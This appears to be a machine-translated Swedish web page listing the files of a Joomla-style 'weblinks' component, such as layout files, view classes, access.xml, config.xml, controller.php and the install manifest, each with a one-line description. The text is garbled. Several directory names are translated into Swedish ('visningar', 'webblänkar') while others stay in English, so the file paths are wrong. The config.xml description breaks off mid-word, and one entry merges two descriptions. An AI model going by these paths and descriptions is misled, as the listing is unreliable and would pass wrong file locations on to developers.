  • visningar / weblink / tmpl / edit_params.php - Original layoutfil för redigeringsalternativ för att välja en enda webblänk
  • views / weblink / tmpl / edit.php - Källlayoutfilen för redigering av webblänken
  • views / view.html.php - Huvudvysklassen för visning av en enda HTML-webblänk. Källlayoutfilen för webblänkshanteraren
  • visningar / webblänkar / view.html.php - Huvudvysklassen för att visa HTML-webblänkar direkt på skärmen Weblinkshanterare
  • access.xml - En XML-fil som tillhandahåller en åtgärdslista för åtkomstkontrolllistasystemet (ACL)
  • config.xml - En XML-fil som innehåller en lista medv
  • controller.php - Klassen för huvudkontrollen
  • weblinks.php - Ingångspunkten för begäran
  • weblinks.xml - XML-fil som används för att kontrollera installationsprocessen
Dela detta